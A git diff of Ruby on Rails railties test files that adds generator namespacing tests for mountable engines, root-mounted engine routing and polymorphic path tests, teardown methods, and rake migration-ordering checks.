a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb new file mode 100644 index 0000000000..f8540d69d9 --- /dev/null +++ b/railties/test/railties/generators_test.rb @@ -0,0 +1,116 @@ +RAILS_ISOLATED_ENGINE = true +require "isolation/abstract_unit" + +require 'generators/generators_test_helper' +require "rails/generators/test_case" + +module RailtiesTests + class GeneratorTest < Rails::Generators::TestCase + include ActiveSupport::Testing::Isolation + + TMP_PATH = File.expand_path(File.join(File.dirname(__FILE__), *%w[.. .. tmp])) + self.destination_root = File.join(TMP_PATH, "foo_bar") + + def tmp_path(*args) + File.join(TMP_PATH, *args) + end + + def engine_path + tmp_path('foo_bar') + end + + def bundled_rails(cmd) + `bundle exec rails #{cmd}` + end + + def rails(cmd) + environment = File.expand_path('../../../../load_paths', __FILE__) + if File.exist?("#{environment}.rb") + require_environment = "-r #{environment}" + end + `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}` + end + + def build_engine(is_mountable=false) + FileUtils.rm_rf(engine_path) + FileUtils.mkdir_p(engine_path) + + mountable = is_mountable ? "--mountable" : "" + + rails("plugin new #{engine_path} --full #{mountable}") + + Dir.chdir(engine_path) do + File.open("Gemfile", "w") do |f| + f.write <<-GEMFILE.gsub(/^ {12}/, '') + source "http://rubygems.org" + + gem 'rails', :path => '#{RAILS_FRAMEWORK_ROOT}' + gem 'sqlite3' + + if RUBY_VERSION < '1.9' + gem "ruby-debug", ">= 0.10.3" + end + GEMFILE + end + end + end + + def build_mountable_engine + build_engine(true) + end + + def test_controllers_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g controller topics") + assert_file "app/controllers/foo_bar/topics_controller.rb", /module FooBar\n class TopicsController/ + assert_no_file "app/controllers/topics_controller.rb" + end + end + + def test_models_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g model topic") + assert_file "app/models/foo_bar/topic.rb", /module FooBar\n class Topic/ + assert_no_file "app/models/topic.rb" + end + end + + def test_helpers_are_correctly_namespaced_when_engine_is_mountable + build_mountable_engine + Dir.chdir(engine_path) do + bundled_rails("g helper topics") + assert_file "app/helpers/foo_bar/topics_helper.rb", /module FooBar\n module TopicsHelper/ + assert_no_file "app/helpers/topics_helper.rb" + end + end + + def test_controllers_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g controller topics") + assert_file "app/controllers/topics_controller.rb", /class TopicsController/ + assert_no_file "app/controllers/foo_bar/topics_controller.rb" + end + end + + def test_models_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g model topic") + assert_file "app/models/topic.rb", /class Topic/ + assert_no_file "app/models/foo_bar/topic.rb" + end + end + + def test_helpers_are_not_namespaced_when_engine_is_not_mountable + build_engine + Dir.chdir(engine_path) do + bundled_rails("g helper topics") + assert_file "app/helpers/topics_helper.rb", /module TopicsHelper/ + assert_no_file "app/helpers/foo_bar/topics_helper.rb" + end + end + end +end diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb index 47a4753e78..0491fc2174 100644 --- a/railties/test/railties/mounted_engine_test.rb +++ b/railties/test/railties/mounted_engine_test.rb @@ -11,14 +11,20 @@ module ApplicationTests add_to_config("config.action_dispatch.show_exceptions = false") + @simple_plugin = engine "weblog" @plugin = engine "blog" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do + mount Weblog::Engine, :at => '/', :as => 'weblog' + resources :posts match "/engine_route" => "application_generating#engine_route" match "/engine_route_in_view" => "application_generating#engine_route_in_view" + match "/weblog_engine_route" => "application_generating#weblog_engine_route" + match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view" match "/url_for_engine_route" => "application_generating#url_for_engine_route" match "/polymorphic_route" => "application_generating#polymorphic_route" + match "/application_polymorphic_path" => "application_generating#application_polymorphic_path" scope "/:user", :user => "anonymous" do mount Blog::Engine => "/blog" end @@ -26,6 +32,29 @@ module ApplicationTests end RUBY + + @simple_plugin.write "lib/weblog.rb", <<-RUBY + module Weblog + class Engine < ::Rails::Engine + end + end + RUBY + + @simple_plugin.write "config/routes.rb", <<-RUBY + Weblog::Engine.routes.draw do + match '/weblog' => "weblogs#index", :as => 'weblogs' + end + RUBY + + @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY + class WeblogsController < ActionController::Base + def index + render :text => request.url + end + end + RUBY + + @plugin.write "app/models/blog/post.rb", <<-RUBY module Blog class Post @@ -59,6 +88,7 @@ module ApplicationTests resources :posts match '/generate_application_route', :to => 'posts#generate_application_route' match '/application_route_in_view', :to => 'posts#application_route_in_view' + match '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path' end RUBY @@ -79,6 +109,10 @@ module ApplicationTests def application_route_in_view render :inline => "<%= main_app.root_path %>" end + + def engine_polymorphic_path + render :text => polymorphic_path(Post.new) + end end end RUBY @@ -93,6 +127,14 @@ module ApplicationTests render :inline => "<%= blog.posts_path %>" end + def weblog_engine_route + render :text => weblog.weblogs_path + end + + def weblog_engine_route_in_view + render :inline => "<%= weblog.weblogs_path %>" + end + def url_for_engine_route render :text => blog.url_for(:controller => "blog/posts", :action => "index", :user => "john", :only_path => true) end @@ -100,12 +142,20 @@ module ApplicationTests def polymorphic_route render :text => polymorphic_url([blog, Blog::Post.new]) end + + def application_polymorphic_path + render :text => polymorphic_path(Blog::Post.new) + end end RUBY boot_rails end + def teardown + teardown_app + end + def app @app ||= begin require "#{app_path}/config/environment" @@ -116,7 +166,7 @@ module ApplicationTests def reset_script_name! Rails.application.routes.default_url_options = {} end - + def script_name(script_name) Rails.application.routes.default_url_options = {:script_name => script_name} end @@ -168,7 +218,22 @@ module ApplicationTests # test polymorphic routes get "/polymorphic_route" assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body + + # test that correct path is generated for the same polymorphic_path call in an engine + get "/somone/blog/engine_polymorphic_path" + assert_equal "/somone/blog/posts/44", last_response.body + + # and in an application + get "/application_polymorphic_path" + assert_equal "/posts/44", last_response.body + end + + test "route path for controller action when engine is mounted at root" do + get "/weblog_engine_route" + assert_equal "/weblog", last_response.body + + get "/weblog_engine_route_in_view" + assert_equal "/weblog", last_response.body end end end - diff --git a/railties/test/railties/plugin_ordering_test.rb b/railties/test/railties/plugin_ordering_test.rb index f6ca493fdf..1cfaf557e9 100644 --- a/railties/test/railties/plugin_ordering_test.rb +++ b/railties/test/railties/plugin_ordering_test.rb @@ -12,6 +12,10 @@ module RailtiesTest plugin "c_plugin", "$arr << :c" end + def teardown + teardown_app + end + def boot_rails super require "#{app_path}/config/environment" @@ -69,4 +73,4 @@ module RailtiesTest assert $bar end end -end
\ No newline at end of file +end diff --git a/railties/test/railties/plugin_test.rb b/railties/test/railties/plugin_test.rb index c15ac05103..f307d53cf7 100644 --- a/railties/test/railties/plugin_test.rb +++ b/railties/test/railties/plugin_test.rb @@ -15,6 +15,10 @@ module RailtiesTest end end + def teardown + teardown_app + end + test "Rails::Plugin itself does not respond to config" do boot_rails assert !Rails::Plugin.respond_to?(:config) diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb index 7ea8364ae9..55f85c7202 100644 --- a/railties/test/railties/railtie_test.rb +++ b/railties/test/railties/railtie_test.rb @@ -11,6 +11,10 @@ module RailtiesTest require "rails/all" end + def teardown + teardown_app + end + def app @app ||= Rails.application end @@ -97,7 +101,7 @@ module RailtiesTest assert !$ran_block require 'rake' require 'rake/testtask' - require 'rake/rdoctask' + require 'rdoc/task' AppTemplate::Application.load_tasks assert $ran_block @@ -121,7 +125,7 @@ module RailtiesTest assert_equal [], $ran_block require 'rake' require 'rake/testtask' - require 'rake/rdoctask' + require 'rdoc/task' AppTemplate::Application.load_tasks assert $ran_block.include?("my_tie") diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb index e5debf29ae..7653e52d26 100644 --- a/railties/test/railties/shared_tests.rb +++ b/railties/test/railties/shared_tests.rb @@ -21,6 +21,23 @@ module RailtiesTest assert_match "alert()", last_response.body end + def test_rake_environment_can_be_called_in_the_engine_or_plugin + boot_rails + + @plugin.write "Rakefile", <<-RUBY + APP_RAKEFILE = '#{app_path}/Rakefile' + load 'rails/tasks/engine.rake' + task :foo => :environment do + puts "Task ran" + end + RUBY + + Dir.chdir(@plugin.path) do + output = `bundle exec rake foo` + assert_match "Task ran", output + end + end + def test_copying_migrations @plugin.write "db/migrate/1_create_users.rb", <<-RUBY class CreateUsers < ActiveRecord::Migration @@ -53,30 +70,46 @@ module RailtiesTest add_to_config "ActiveRecord::Base.timestamped_migrations = false" + boot_rails + railties = Rails.application.railties.all.map(&:railtie_name) + Dir.chdir(app_path) do - output = `rake bukkits:install:migrations` + output = `bundle exec rake bukkits:install:migrations` assert File.exists?("#{app_path}/db/migrate/2_create_users.rb") assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb") - assert_match /Copied migration 2_create_users.rb from bukkits/, output - assert_match /Copied migration 3_add_last_name_to_users.rb from bukkits/, output - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output + assert_match(/Copied migration 2_create_users.rb from bukkits/, output) + assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output) + assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output) assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length - output = `rake railties:install:migrations` + output = `bundle exec rake railties:install:migrations`.split("\n") assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb") - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output - assert_match /Copied migration 4_create_yaffles.rb from acts_as_yaffle/, output - assert_no_match /2_create_users/, output + assert_no_match(/2_create_users/, output.join("\n")) + + yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o }) + bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o }) + assert_not_nil yaffle_migration_order, "Expected migration to be copied" + assert_not_nil bukkits_migration_order, "Expected migration to be skipped" + assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order) migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length - output = `rake railties:install:migrations` + output = `bundle exec rake railties:install:migrations` assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length end end + def test_no_rake_task_without_migrations + boot_rails + require 'rake' + require 'rdoc/task' + require 'rake/testtask' + Rails.application.load_tasks + assert !Rake::Task.task_defined?('bukkits:install:migrations') + end + def test_puts_its_lib_directory_on_load_path boot_rails require "another" @@ -237,7 +270,7 @@ module RailtiesTest boot_rails require 'rake' - require 'rake/rdoctask' + require 'rdoc/task' require 'rake/testtask' Rails.application.load_tasks Rake::Task[:foo].invoke |
